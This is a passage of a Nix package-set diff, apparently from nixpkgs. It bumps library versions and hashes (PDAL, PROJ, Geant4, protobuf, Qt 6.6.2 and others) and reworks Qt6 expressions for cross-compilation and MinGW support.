"dO/BCa5vkDu+avd+qirGCUuO4kWi4j8TKnqPCGLRqfU="; }; @@ -93,10 +94,15 @@ stdenv.mkDerivation rec { passthru = { updateScript = gnome.updateScript { - packageName = pname; + packageName = finalAttrs.pname; # 1.90 is alpha for API 2. freeze = "1.90.0"; }; + tests = { + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; + }; }; meta = with lib; { @@ -125,4 +131,4 @@ stdenv.mkDerivation rec { "pangoxft" ]; }; -} +}) diff --git a/pkgs/development/libraries/partio/default.nix b/pkgs/development/libraries/partio/default.nix index 472478e371000..75817ff568f72 100644 --- a/pkgs/development/libraries/partio/default.nix +++ b/pkgs/development/libraries/partio/default.nix @@ -16,13 +16,13 @@ stdenv.mkDerivation rec { pname = "partio"; - version = "1.17.1"; + version = "1.17.3"; src = fetchFromGitHub { owner = "wdas"; repo = "partio"; rev = "refs/tags/v${version}"; - hash = "sha256-3t3y3r4R/ePw2QE747rqumbrYRm1wNkSKN3n8MPPIVg="; + hash = "sha256-wV9byR85qwOkoTyLjG0gOLC3Gc19ykwiLpDy4T/MENQ="; }; outputs = [ "dev" "out" "lib" ]; diff --git a/pkgs/development/libraries/pdal/default.nix b/pkgs/development/libraries/pdal/default.nix index edb2c866bdc17..83d451080c200 100644 --- a/pkgs/development/libraries/pdal/default.nix +++ b/pkgs/development/libraries/pdal/default.nix @@ -28,13 +28,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "pdal"; - version = "2.6.2"; + version = "2.6.3"; src = fetchFromGitHub { owner = "PDAL"; repo = "PDAL"; rev = finalAttrs.version; - sha256 = "sha256-bYTSmrel8MLza+OxO+aOSsnkahjjqRRqUiVwAk23Gxk="; + sha256 = "sha256-wrgEbCYOGW1yrVxyX+UDa5jcUqab3letEGuvWnYvtac="; }; patches = [ diff --git a/pkgs/development/libraries/physics/geant4/default.nix b/pkgs/development/libraries/physics/geant4/default.nix index 516d42aa577dc..9dcaea8be041a 100644 --- a/pkgs/development/libraries/physics/geant4/default.nix +++ b/pkgs/development/libraries/physics/geant4/default.nix @@ -48,12 +48,12 @@ in lib.warnIf (enableQT != false) "geant4: enableQT is deprecated, please use enableQt" stdenv.mkDerivation rec { - version = "11.2.0"; + version = "11.2.1"; pname = "geant4"; src = fetchurl { url = "https://cern.ch/geant4-data/releases/geant4-v${version}.tar.gz"; - hash = "sha256-Rq1/qzxctL0L3XfdbT4igxhIGSNby8AbLRF9gbNVlqY="; + hash = "sha256-g122VD1csugBZ1lYllvpaHf2bWkHu1IZVLWYt4Xerl4="; }; # Fix broken paths in a .pc diff --git a/pkgs/development/libraries/physics/rivet/default.nix b/pkgs/development/libraries/physics/rivet/default.nix index 76a4d71b38e47..a59b34147a9f4 100644 --- a/pkgs/development/libraries/physics/rivet/default.nix +++ b/pkgs/development/libraries/physics/rivet/default.nix @@ -2,11 +2,11 @@ stdenv.mkDerivation rec { pname = "rivet"; - version = "3.1.9"; + version = "3.1.10"; src = fetchurl { url = "https://www.hepforge.org/archive/rivet/Rivet-${version}.tar.bz2"; - hash = "sha256-9lMgRdph7rKtwgqavEFmtLLUGrLByltQDNYWuxuS57E="; + hash = "sha256-RYuODfHec46ZctJLJg6qCH3xLJnU/p3uU3fUfqakmRk="; }; latex = texliveBasic.withPackages (ps: with ps; [ diff --git a/pkgs/development/libraries/physics/yoda/default.nix b/pkgs/development/libraries/physics/yoda/default.nix index 68f4e3714e09c..a6ad9cbd92744 100644 --- a/pkgs/development/libraries/physics/yoda/default.nix +++ b/pkgs/development/libraries/physics/yoda/default.nix @@ -10,11 +10,11 @@ stdenv.mkDerivation rec { pname = "yoda"; - version = "1.9.9"; + version = "1.9.10"; src = fetchurl { url = "https://www.hepforge.org/archive/yoda/YODA-${version}.tar.bz2"; - hash = "sha256-68rVU2mhztzuOi3gWUB8hRZSukRJURP1wJ2MLlf1Fqo="; + hash = "sha256-CnCO6dcElF0zh8xDexX/3fOCxw/lurOe0r2/g8LCjG8="; }; nativeBuildInputs = with python.pkgs; [ diff --git a/pkgs/development/libraries/pipewire/default.nix b/pkgs/development/libraries/pipewire/default.nix index 4cfcf9b3a6d80..7b470f836756d 100644 --- a/pkgs/development/libraries/pipewire/default.nix +++ b/pkgs/development/libraries/pipewire/default.nix @@ -18,6 +18,7 @@ , libusb1 , udev , libsndfile +, vulkanSupport ? true , vulkan-headers , vulkan-loader , webrtc-audio-processing @@ -125,8 +126,6 @@ stdenv.mkDerivation(finalAttrs: { ncurses readline udev - vulkan-headers - vulkan-loader tinycompress ] ++ (if enableSystemd then [ systemd ] else [ eudev ]) ++ (if lib.meta.availableOn stdenv.hostPlatform webrtc-audio-processing_1 then [ webrtc-audio-processing_1 ] else [ webrtc-audio-processing ]) @@ -140,6 +139,7 @@ stdenv.mkDerivation(finalAttrs: { ++ lib.optional zeroconfSupport avahi ++ lib.optional raopSupport openssl ++ lib.optional rocSupport roc-toolkit + ++ lib.optionals vulkanSupport [ vulkan-headers vulkan-loader ] ++ lib.optionals x11Support [ libcanberra xorg.libX11 xorg.libXfixes ] ++ lib.optional mysofaSupport libmysofa ++ lib.optional ffadoSupport ffado; @@ -175,7 +175,7 @@ stdenv.mkDerivation(finalAttrs: { (lib.mesonOption "sysconfdir" "/etc") (lib.mesonEnable "raop" raopSupport) (lib.mesonOption "session-managers" "") - (lib.mesonEnable "vulkan" true) + (lib.mesonEnable "vulkan" vulkanSupport) (lib.mesonEnable "x11" x11Support) (lib.mesonEnable "x11-xfixes" x11Support) (lib.mesonEnable "libcanberra" x11Support) diff --git a/pkgs/development/libraries/pixman/default.nix b/pkgs/development/libraries/pixman/default.nix index 1b5aaaaa06d47..0a15876db9630 100644 --- a/pkgs/development/libraries/pixman/default.nix +++ b/pkgs/development/libraries/pixman/default.nix @@ -16,14 +16,15 @@ , xwayland , gitUpdater +, testers }: -stdenv.mkDerivation rec { +stdenv.mkDerivation (finalAttrs: { pname = "pixman"; version = "0.43.2"; src = fetchurl { - urls = [ + urls = with finalAttrs; [ "mirror://xorg/individual/lib/${pname}-${version}.tar.gz" "https://cairographics.org/releases/${pname}-${version}.tar.gz" ]; @@ -60,6 +61,9 @@ stdenv.mkDerivation rec { passthru = { tests = { inherit cairo qemu scribus tigervnc wlroots xwayland; + pkg-config = testers.hasPkgConfigModules { + package = finalAttrs.finalPackage; + }; }; updateScript = gitUpdater { url = "https://gitlab.freedesktop.org/pixman/pixman.git"; @@ -72,5 +76,6 @@ stdenv.mkDerivation rec { description = "A low-level library for pixel manipulation"; license = licenses.mit; platforms = platforms.all; + pkgConfigModules = [ "pixman-1" ]; }; -} +}) diff --git a/pkgs/development/libraries/precice/default.nix b/pkgs/development/libraries/precice/default.nix index 885945599e938..873386e90abd9 100644 --- a/pkgs/development/libraries/precice/default.nix +++ b/pkgs/development/libraries/precice/default.nix @@ -1,16 +1,23 @@ -{ lib, stdenv, fetchFromGitHub, cmake, gcc, boost, eigen, libxml2, mpi, python3, petsc }: +{ lib, stdenv, fetchFromGitHub, fetchpatch, cmake, gcc, boost, eigen, libxml2, mpi, python3, petsc, pkg-config }: stdenv.mkDerivation rec { pname = "precice"; - version = "2.5.0"; + version = "3.0.0"; src = fetchFromGitHub { owner = "precice"; repo = pname; rev = "v${version}"; - sha256 = "sha256-n/UuiVHw1zwlhwR/HDaKgoMnPy6fm9HWZ5FmAr7F/GE="; + hash = "sha256-RuZ18BFdusMHC+Yuapc2N8cEetLu32e28J34HH+gHOg="; }; + patches = [ + (fetchpatch { + url = "https://github.com/precice/precice/commit/9dffe04144ab0f6a92fbff9be91cda71718b9c8e.patch"; + hash = "sha256-kSvIfBQH1mBA5CFJo9Usiypol0u9VgHMlUEHK/uHVNQ="; + }) + ]; + cmakeFlags = [ "-DPRECICE_PETScMapping=OFF" "-DBUILD_SHARED_LIBS=ON" @@ -24,8 +31,8 @@ stdenv.mkDerivation rec { ++ [ "-fpermissive" ] ); - nativeBuildInputs = [ cmake gcc ]; - buildInputs = [ boost eigen libxml2 mpi python3 python3.pkgs.numpy ]; + nativeBuildInputs = [ cmake gcc pkg-config python3 python3.pkgs.numpy ]; + buildInputs = [ boost eigen libxml2 mpi petsc ]; meta = { description = "preCICE stands for Precise Code Interaction Coupling Environment"; diff --git a/pkgs/development/libraries/proj/default.nix b/pkgs/development/libraries/proj/default.nix index 326f219cddda2..daab5ac2a5663 100644 --- a/pkgs/development/libraries/proj/default.nix +++ b/pkgs/development/libraries/proj/default.nix @@ -17,13 +17,13 @@ stdenv.mkDerivation (finalAttrs: { pname = "proj"; - version = "9.3.1"; + version = "9.4.0"; src = fetchFromGitHub { owner = "OSGeo"; repo = "PROJ"; rev = finalAttrs.version; - hash = "sha256-M8Zgy5xnmZu7mzxXXGqaIfe7o7iMf/1sOJVOBsTvtdQ="; + hash = "sha256-m8u5+uWeXI2lxxsTcVJbvCiV30CQifw4reAY3GHHavA="; }; patches = [ diff --git a/pkgs/development/libraries/protobuf/25.nix b/pkgs/development/libraries/protobuf/25.nix index 0b05e81cc029a..782906d0b5b71 100644 --- a/pkgs/development/libraries/protobuf/25.nix +++ b/pkgs/development/libraries/protobuf/25.nix @@ -1,6 +1,6 @@ { callPackage, ... } @ args: callPackage ./generic.nix ({ - version = "25.2"; - hash = "sha256-Bw7xOgcGLshFppH4qD8E48D8v21ZJRaRkK19LPSATMg="; + version = "25.3"; + hash = "sha256-N/mO9a6NyC0GwxY3/u1fbFbkfH7NTkyuIti6L3bc+7k="; } // args) diff --git a/pkgs/development/libraries/protozero/default.nix b/pkgs/development/libraries/protozero/default.nix index 1e35ab700a085..ed3e67fdeed10 100644 --- a/pkgs/development/libraries/protozero/default.nix +++ b/pkgs/development/libraries/protozero/default.nix @@ -21,6 +21,6 @@ stdenv.mkDerivation rec { "https://github.com/mapbox/protozero/releases/tag/v${version}" "https://github.com/mapbox/protozero/blob/v${version}/CHANGELOG.md" ]; - maintainers = with maintainers; [ das-g ]; + maintainers = with maintainers; teams.geospatial.members ++ [ das-g ]; }; } diff --git a/pkgs/development/libraries/py3c/default.nix b/pkgs/development/libraries/py3c/default.nix index f4d2aa95a2e8b..11ccba4c9ee36 100644 --- a/pkgs/development/libraries/py3c/default.nix +++ b/pkgs/development/libraries/py3c/default.nix @@ -34,6 +34,6 @@ stdenv.mkDerivation rec { homepage = "https://github.com/encukou/py3c"; description = "Python 2/3 compatibility layer for C extensions"; license = licenses.mit; - maintainers = with maintainers; [ ajs124 dotlambda ]; + maintainers = with maintainers; [ dotlambda ]; }; } diff --git a/pkgs/development/libraries/qt-5/5.15/srcs-generated.json b/pkgs/development/libraries/qt-5/5.15/srcs-generated.json index 55ff3497baba9..63a284be6c801 100644 --- a/pkgs/development/libraries/qt-5/5.15/srcs-generated.json +++ b/pkgs/development/libraries/qt-5/5.15/srcs-generated.json @@ -16,8 +16,8 @@ }, "qtbase": { "url": "https://invent.kde.org/qt/qt/qtbase.git", - "rev": "8907dedc858cc344d770a2e826d6acc516429540", - "sha256": "185fmglzb3blfpk6vjd716xr4cx4grxpbqji5idddl4887w18s91" + "rev": "a43df98d037ad07cf096ef2f775958ceba743613", + "sha256": "01bjkfb7ql1f168q67d5jr2xjfrn8bvh1ggiba0algkgll8alad4" }, "qtcharts": { "url": "https://invent.kde.org/qt/qt/qtcharts.git", @@ -161,8 +161,8 @@ }, "qtwayland": { "url": "https://invent.kde.org/qt/qt/qtwayland.git", - "rev": "c84d171fa84065fb3b4b6b3d33e7707676d87e47", - "sha256": "0vxqp5577xig4m0x9pmc04svjy58pi5f0wvc1b4sk61jhj8vib23" + "rev": "c8b37a1bda9b8f29d56775ed6556d56ac5d3ea1d", + "sha256": "15spjyc6gq1r5vdryhm21mhaim1iw24y80p0srp58qm9jwqg9dys" }, "qtwebchannel": { "url": "https://invent.kde.org/qt/qt/qtwebchannel.git", diff --git a/pkgs/development/libraries/qt-5/modules/qtwebkit.nix b/pkgs/development/libraries/qt-5/modules/qtwebkit.nix index 9c5d347d110b0..bd05954ddb35d 100644 --- a/pkgs/development/libraries/qt-5/modules/qtwebkit.nix +++ b/pkgs/development/libraries/qt-5/modules/qtwebkit.nix @@ -2,7 +2,7 @@ , qtbase, qtdeclarative, qtlocation, qtmultimedia, qtsensors, qtwebchannel , fontconfig, libwebp, libxml2, libxslt , sqlite, systemd, glib, gst_all_1, cmake -, bison, flex, gdb, gperf, perl, pkg-config, python38, ruby +, bison, flex, gdb, gperf, perl, pkg-config, python3, ruby , ICU, OpenGL }: @@ -26,7 +26,7 @@ qtModule { ++ lib.optional stdenv.isDarwin qtmultimedia; buildInputs = [ fontconfig libwebp libxml2 libxslt sqlite glib gst_all_1.gstreamer gst_all_1.gst-plugins-base hyphen ] ++ lib.optionals stdenv.isDarwin [ ICU OpenGL ]; - nativeBuildInputs = [ bison flex gdb gperf perl pkg-config python38 ruby cmake ]; + nativeBuildInputs = [ bison flex gdb gperf perl pkg-config python3 ruby cmake ]; cmakeFlags = [ "-DPORT=Qt" ] ++ lib.optionals stdenv.isDarwin [ diff --git a/pkgs/development/libraries/qt-6/default.nix b/pkgs/development/libraries/qt-6/default.nix index a1d597adcd1dc..ea65e5f3ae82c 100644 --- a/pkgs/development/libraries/qt-6/default.nix +++ b/pkgs/development/libraries/qt-6/default.nix @@ -32,7 +32,7 @@ let callPackage = self.newScope ({ inherit (self) qtModule; inherit srcs python3; - stdenv = if stdenv.isDarwin then darwin.apple_sdk_11_0.stdenv else stdenv; + stdenv = if stdenv.hostPlatform.isDarwin then darwin.apple_sdk_11_0.stdenv else stdenv; }); in { @@ -42,7 +42,7 @@ let qtModule = callPackage ./qtModule.nix { }; qtbase = callPackage ./modules/qtbase.nix { - withGtk3 = true; + withGtk3 = !stdenv.hostPlatform.isMinGW; inherit (srcs.qtbase) src version; inherit developerBuild; inherit (darwin.apple_sdk_11_0.frameworks) @@ -66,60 +66,52 @@ let revert = true; hash = "sha256-cjB2sC4cvZn0UEc+sm6ZpjyC78ssqB1Kb5nlZQ15M4A="; }) - # CVE-2023-51714: Potential Integer Overflow in Qt's HTTP2 implementation - # https://www.qt.io/blog/security-advisory-potential-integer-overflow-in-qts-http2-implementation - (fetchpatch2 { - url = "https://download.qt.io/official_releases/qt/6.5/0001-CVE-2023-51714-qtbase-6.5.diff"; - hash = "sha256-0Xnolq9dWkKUrmLUlv15uQ9nkZXrY3AsmvChaLX8P2I="; - }) - (fetchpatch2 { - url = "https://download.qt.io/official_releases/qt/6.6/0002-CVE-2023-51714-qtbase-6.6.diff"; - hash = "sha256-+/u3vy5Ci6Z4jy00L07iYAnqHvVdqUzqVnT9uVIqs60="; - }) ]; }; env = callPackage ./qt-env.nix { }; - full = callPackage ({ env, qtbase }: env "qt-full-${qtbase.version}" - # `with self` is ok to use here because having these spliced is unnecessary - ( with self;[ - qt3d - qt5compat - qtcharts - qtconnectivity - qtdatavis3d - qtdeclarative - qtdoc - qtgraphs - qtgrpc - qthttpserver - qtimageformats - qtlanguageserver - qtlocation - qtlottie - qtmultimedia - qtmqtt - qtnetworkauth - qtpositioning - qtsensors - qtserialbus - qtserialport - qtshadertools - qtspeech - qtquick3d - qtquick3dphysics - qtquickeffectmaker - qtquicktimeline - qtremoteobjects - qtsvg - qtscxml - qttools - qttranslations - qtvirtualkeyboard - qtwebchannel - qtwebengine - qtwebsockets - qtwebview - ] ++ lib.optionals (!stdenv.isDarwin) [ qtwayland libglvnd ])) { }; + full = callPackage + ({ env, qtbase }: env "qt-full-${qtbase.version}" + # `with self` is ok to use here because having these spliced is unnecessary + (with self;[ + qt3d + qt5compat + qtcharts + qtconnectivity + qtdatavis3d + qtdeclarative + qtdoc + qtgraphs + qtgrpc + qthttpserver + qtimageformats + qtlanguageserver + qtlocation + qtlottie + qtmultimedia + qtmqtt + qtnetworkauth + qtpositioning + qtsensors + qtserialbus + qtserialport + qtshadertools + qtspeech + qtquick3d + qtquick3dphysics + qtquickeffectmaker + qtquicktimeline + qtremoteobjects + qtsvg + qtscxml + qttools + qttranslations + qtvirtualkeyboard + qtwebchannel + qtwebengine + qtwebsockets + qtwebview + ] ++ lib.optionals (!stdenv.isDarwin) [ qtwayland libglvnd ])) + { }; qt3d = callPackage ./modules/qt3d.nix { }; qt5compat = callPackage ./modules/qt5compat.nix { }; @@ -172,11 +164,14 @@ let GameController ImageCaptureCore LocalAuthentication MediaAccessibility MediaPlayer MetalKit Network OpenDirectory Quartz ReplayKit SecurityInterface Vision; - qtModule = callPackage ({ qtModule }: qtModule.override { - stdenv = if stdenv.isDarwin - then overrideSDK stdenv { darwinMinVersion = "10.13"; darwinSdkVersion = "11.0"; } - else stdenv; - }) { }; + qtModule = callPackage + ({ qtModule }: qtModule.override { + stdenv = + if stdenv.isDarwin + then overrideSDK stdenv { darwinMinVersion = "10.13"; darwinSdkVersion = "11.0"; } + else stdenv; + }) + { }; xcbuild = buildPackages.xcbuild.override { productBuildVer = "20A2408"; }; @@ -186,21 +181,25 @@ let inherit (darwin.apple_sdk_11_0.frameworks) WebKit; }; - wrapQtAppsHook = callPackage ({ makeBinaryWrapper }: makeSetupHook - { - name = "wrap-qt6-apps-hook"; - propagatedBuildInputs = [ makeBinaryWrapper ]; - } ./hooks/wrap-qt-apps-hook.sh) { }; + wrapQtAppsHook = callPackage + ({ makeBinaryWrapper }: makeSetupHook + { + name = "wrap-qt6-apps-hook"; + propagatedBuildInputs = [ makeBinaryWrapper ]; + } ./hooks/wrap-qt-apps-hook.sh) + { }; - qmake = callPackage ({ qtbase }: makeSetupHook - { - name = "qmake6-hook"; - propagatedBuildInputs = [ qtbase.dev ]; - substitutions = { - inherit debug; - fix_qmake_libtool = ./hooks/fix-qmake-libtool.sh; - }; - } ./hooks/qmake-hook.sh) { }; + qmake = callPackage + ({ qtbase }: makeSetupHook + { + name = "qmake6-hook"; + propagatedBuildInputs = [ qtbase.dev ]; + substitutions = { + inherit debug; + fix_qmake_libtool = ./hooks/fix-qmake-libtool.sh; + }; + } ./hooks/qmake-hook.sh) + { }; } // lib.optionalAttrs config.allowAliases { # Convert to a throw on 03-01-2023 and backport the change. # Warnings show up in various cli tool outputs, throws do not. @@ -213,12 +212,13 @@ let f = addPackages; }; - bootstrapScope = baseScope.overrideScope(final: prev: { + bootstrapScope = baseScope.overrideScope (final: prev: { qtbase = prev.qtbase.override { qttranslations = null; }; qtdeclarative = null; }); - finalScope = baseScope.overrideScope(final: prev: { + finalScope = baseScope.overrideScope (final: prev: { qttranslations = bootstrapScope.qttranslations; }); -in finalScope +in +finalScope diff --git a/pkgs/development/libraries/qt-6/fetch.sh b/pkgs/development/libraries/qt-6/fetch.sh index 13ff1bef65a11..d7ef146a19575 100644 --- a/pkgs/development/libraries/qt-6/fetch.sh +++ b/pkgs/development/libraries/qt-6/fetch.sh @@ -1 +1 @@ -WGET_ARGS=( https://download.qt.io/official_releases/qt/6.6/6.6.1/submodules/ -A '*.tar.xz' ) +WGET_ARGS=( https://download.qt.io/official_releases/qt/6.6/6.6.2/submodules/ -A '*.tar.xz' ) diff --git a/pkgs/development/libraries/qt-6/modules/qtbase.nix b/pkgs/development/libraries/qt-6/modules/qtbase.nix index edf29ab8d36fd..0a16f725c4771 100644 --- a/pkgs/development/libraries/qt-6/modules/qtbase.nix +++ b/pkgs/development/libraries/qt-6/modules/qtbase.nix @@ -4,6 +4,7 @@ , patches ? [ ] , version , coreutils +, buildPackages , bison , flex , gdb @@ -21,7 +22,7 @@ , double-conversion , util-linux , systemd -, systemdSupport ? stdenv.isLinux +, systemdSupport ? stdenv.hostPlatform.isLinux , libb2 , md4c , mtdev @@ -79,6 +80,8 @@ , EventKit , GSS , MetalKit + # mingw +, pkgsBuildBuild # optional dependencies , cups , libmysqlclient @@ -87,7 +90,7 @@ , dconf , gtk3 # options -, libGLSupported ? stdenv.isLinux +, libGLSupported ? stdenv.hostPlatform.isLinux , libGL , debug ? false , developerBuild ? false @@ -96,6 +99,7 @@ let debugSymbols = debug || developerBuild; + isCrossBuild = !stdenv.buildPlatform.canExecute stdenv.hostPlatform; in stdenv.mkDerivation rec { pname = "qtbase"; @@ -110,7 +114,6 @@ stdenv.mkDerivation rec { openssl sqlite zlib - unixODBC # Text rendering harfbuzz icu @@ -119,20 +122,22 @@ stdenv.mkDerivation rec { libpng pcre2 pcre - libproxy zstd - double-conversion libb2 md4c + double-conversion + ] ++ lib.optionals (!stdenv.hostPlatform.isMinGW) [ + libproxy dbus glib # unixODBC drivers + unixODBC unixODBCDrivers.psql unixODBCDrivers.sqlite unixODBCDrivers.mariadb ] ++ lib.optionals systemdSupport [ systemd - ] ++ lib.optionals stdenv.isLinux [ + ] ++ lib.optionals stdenv.hostPlatform.isLinux [ util-linux mtdev lksctp-tools @@ -165,7 +170,7 @@ stdenv.mkDerivation rec { xorg.libXtst xorg.xcbutilcursor libepoxy - ] ++ lib.optionals stdenv.isDarwin [ + ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ AGL AVFoundation AppKit @@ -174,24 +179,29 @@ stdenv.mkDerivation rec { EventKit GSS MetalKit - ] ++ lib.optional libGLSupported libGL; + ] ++ lib.optionals libGLSupported [ + libGL + ] ++ lib.optionals stdenv.hostPlatform.isMinGW [ + vulkan-headers + vulkan-loader + ]; - buildInputs = [ + buildInputs = lib.optionals (lib.meta.availableOn stdenv.hostPlatform at-spi2-core) [ at-spi2-core - ] ++ lib.optionals (!stdenv.isDarwin) [ + ] ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform libinput) [ libinput - ] ++ lib.optionals (stdenv.isDarwin && stdenv.isx86_64) [ + ] ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [ AppKit CoreBluetooth ] ++ lib.optional withGtk3 gtk3 ++ lib.optional developerBuild gdb - ++ lib.optional (cups != null) cups - ++ lib.optional (libmysqlclient != null) libmysqlclient - ++ lib.optional (postgresql != null) postgresql; + ++ lib.optional (cups != null && lib.meta.availableOn stdenv.hostPlatform cups) cups + ++ lib.optional (libmysqlclient != null && !stdenv.hostPlatform.isMinGW) libmysqlclient + ++ lib.optional (postgresql != null && lib.meta.availableOn stdenv.hostPlatform postgresql) postgresql; nativeBuildInputs = [ bison flex gperf lndir perl pkg-config which cmake xmlstarlet ninja ] - ++ lib.optionals stdenv.isDarwin [ moveBuildTree ]; + ++ lib.optionals stdenv.hostPlatform.isDarwin [ moveBuildTree ]; propagatedNativeBuildInputs = [ lndir ]; @@ -203,9 +213,9 @@ stdenv.mkDerivation rec { # https://bugreports.qt.io/browse/QTBUG-97568 postPatch = '' - substituteInPlace src/corelib/CMakeLists.txt --replace /bin/ls ${coreutils}/bin/ls - '' + lib.optionalString stdenv.isDarwin '' - substituteInPlace cmake/QtAutoDetect.cmake --replace "/usr/bin/xcrun" "${xcbuild}/bin/xcrun" + substituteInPlace src/corelib/CMakeLists.txt --replace-fail "/bin/ls" "${buildPackages.coreutils}/bin/ls" + '' + lib.optionalString stdenv.hostPlatform.isDarwin '' + substituteInPlace cmake/QtPublicAppleHelpers.cmake --replace-fail "/usr/bin/xcrun" "${xcbuild}/bin/xcrun" ''; fix_qt_builtin_paths = ../hooks/fix-qt-builtin-paths.sh; @@ -225,16 +235,20 @@ stdenv.mkDerivation rec { "-DQT_FEATURE_libproxy=ON" "-DQT_FEATURE_system_sqlite=ON" "-DQT_FEATURE_openssl_linked=ON" - ] ++ lib.optionals (!stdenv.isDarwin) [ + ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ "-DQT_FEATURE_sctp=ON" "-DQT_FEATURE_journald=${if systemdSupport then "ON" else "OFF"}" "-DQT_FEATURE_vulkan=ON" - ] ++ lib.optionals stdenv.isDarwin [ + ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ # error: 'path' is unavailable: introduced in macOS 10.15 "-DQT_FEATURE_cxx17_filesystem=OFF" - ] ++ lib.optional (qttranslations != null) "-DINSTALL_TRANSLATIONSDIR=${qttranslations}/translations"; + ] ++ lib.optionals isCrossBuild [ + "-DQT_HOST_PATH=${pkgsBuildBuild.qt6.qtbase}" + "-DQt6HostInfo_DIR=${pkgsBuildBuild.qt6.qtbase}/lib/cmake/Qt6HostInfo" + ] + ++ lib.optional (qttranslations != null && !isCrossBuild) "-DINSTALL_TRANSLATIONSDIR=${qttranslations}/translations"; - env.NIX_LDFLAGS = toString (lib.optionals stdenv.isDarwin [ + env.NIX_LDFLAGS = toString (lib.optionals stdenv.hostPlatform.isDarwin [ # Undefined symbols for architecture arm64: "___gss_c_nt_hostbased_service_oid_desc" "-framework GSS" ]); @@ -253,6 +267,8 @@ stdenv.mkDerivation rec { dontStrip = debugSymbols; + dontWrapQtApps = true; + setupHook = ../hooks/qtbase-setup-hook.sh; meta = with lib; { @@ -260,6 +276,6 @@ stdenv.mkDerivation rec { description = "A cross-platform application framework for C++"; license = with licenses; [ fdl13Plus gpl2Plus lgpl21Plus lgpl3Plus ]; maintainers = with maintainers; [ milahu nickcao LunNova ]; - platforms = platforms.unix; + platforms = platforms.unix ++ platforms.windows; }; } diff --git a/pkgs/development/libraries/qt-6/modules/qtconnectivity.nix b/pkgs/development/libraries/qt-6/modules/qtconnectivity.nix index 46d8f925beb0a..126920dd50516 100644 --- a/pkgs/development/libraries/qt-6/modules/qtconnectivity.nix +++ b/pkgs/development/libraries/qt-6/modules/qtconnectivity.nix @@ -12,11 +12,11 @@ qtModule { pname = "qtconnectivity"; nativeBuildInputs = [ pkg-config ]; - buildInputs = lib.optionals stdenv.isLinux [ bluez ]; + buildInputs = lib.optionals stdenv.hostPlatform.isLinux [ bluez ]; propagatedBuildInputs = [ qtbase qtdeclarative - ] ++ lib.optionals stdenv.isDarwin [ + ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ IOBluetooth PCSC ]; diff --git a/pkgs/development/libraries/qt-6/modules/qtmqtt.nix b/pkgs/development/libraries/qt-6/modules/qtmqtt.nix index bd8c0983282ba..a9660b73710be 100644 --- a/pkgs/development/libraries/qt-6/modules/qtmqtt.nix +++ b/pkgs/development/libraries/qt-6/modules/qtmqtt.nix @@ -5,12 +5,14 @@ qtModule rec { pname = "qtmqtt"; - version = "6.6.1"; + version = "6.6.2"; + src = fetchFromGitHub { owner = "qt"; repo = "qtmqtt"; rev = "v${version}"; - hash = "sha256-6jQrUT1wLk6rhDIns0ubdUCZ7e/m38Oqvl8c1/sfWxI="; + hash = "sha256-R8B7Vt/XzI7+17DDZ+TVbqfGKdEfUMiLa1BqzIbo4OM="; }; + propagatedBuildInputs = [ qtbase ]; } diff --git a/pkgs/development/libraries/qt-6/modules/qtmultimedia.nix b/pkgs/development/libraries/qt-6/modules/qtmultimedia.nix index f77fdac059ce6..5c9a0e58a82c9 100644 --- a/pkgs/development/libraries/qt-6/modules/qtmultimedia.nix +++ b/pkgs/development/libraries/qt-6/modules/qtmultimedia.nix @@ -28,15 +28,15 @@ qtModule { pname = "qtmultimedia"; nativeBuildInputs = [ pkg-config ]; buildInputs = [ libunwind orc ffmpeg_6 ] - ++ lib.optionals stdenv.isLinux [ libpulseaudio elfutils alsa-lib wayland libXrandr libva ]; + ++ lib.optionals stdenv.hostPlatform.isLinux [ libpulseaudio elfutils alsa-lib wayland libXrandr libva ]; propagatedBuildInputs = [ qtbase qtdeclarative qtsvg qtshadertools qtquick3d ] - ++ lib.optionals stdenv.isLinux [ gstreamer gst-plugins-base gst-plugins-good gst-libav gst-vaapi ] - ++ lib.optionals stdenv.isDarwin [ VideoToolbox ]; + ++ lib.optionals stdenv.hostPlatform.isLinux [ gstreamer gst-plugins-base gst-plugins-good gst-libav gst-vaapi ] + ++ lib.optionals stdenv.hostPlatform.isDarwin [ VideoToolbox ]; cmakeFlags = [ "-DENABLE_DYNAMIC_RESOLVE_VAAPI_SYMBOLS=0" ]; - env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.isDarwin + env.NIX_CFLAGS_COMPILE = lib.optionalString stdenv.hostPlatform.isDarwin "-include AudioToolbox/AudioToolbox.h"; - NIX_LDFLAGS = lib.optionalString stdenv.isDarwin + NIX_LDFLAGS = lib.optionalString stdenv.hostPlatform.isDarwin "-framework AudioToolbox"; } diff --git a/pkgs/development/libraries/qt-6/modules/qtquick3dphysics.nix b/pkgs/development/libraries/qt-6/modules/qtquick3dphysics.nix index 05d121cd9b78c..92d676f7c8e2e 100644 --- a/pkgs/development/libraries/qt-6/modules/qtquick3dphysics.nix +++ b/pkgs/development/libraries/qt-6/modules/qtquick3dphysics.nix @@ -8,6 +8,6 @@ qtModule { pname = "qtquick3dphysics"; propagatedBuildInputs = [ qtbase qtquick3d ]; - env.NIX_CFLAGS_COMPILE = lib.optionalString (stdenv.isDarwin && stdenv.isx86_64) + env.NIX_CFLAGS_COMPILE = lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) "-faligned-allocation"; } diff --git a/pkgs/development/libraries/qt-6/modules/qtserialport.nix b/pkgs/development/libraries/qt-6/modules/qtserialport.nix index 27b9eb9c1915a..00f668ef5631d 100644 --- a/pkgs/development/libraries/qt-6/modules/qtserialport.nix +++ b/pkgs/development/libraries/qt-6/modules/qtserialport.nix @@ -9,5 +9,5 @@ qtModule { pname = "qtserialport"; nativeBuildInputs = [ pkg-config ]; - propagatedBuildInputs = [ qtbase ] ++ lib.optionals stdenv.isLinux [ udev ]; + propagatedBuildInputs = [ qtbase ] ++ lib.optionals stdenv.hostPlatform.isLinux [ udev ]; } diff --git a/pkgs/development/libraries/qt-6/modules/qtspeech.nix b/pkgs/development/libraries/qt-6/modules/qtspeech.nix index 77c08fa91951a..15672de8b9806 100644 --- a/pkgs/development/libraries/qt-6/modules/qtspeech.nix +++ 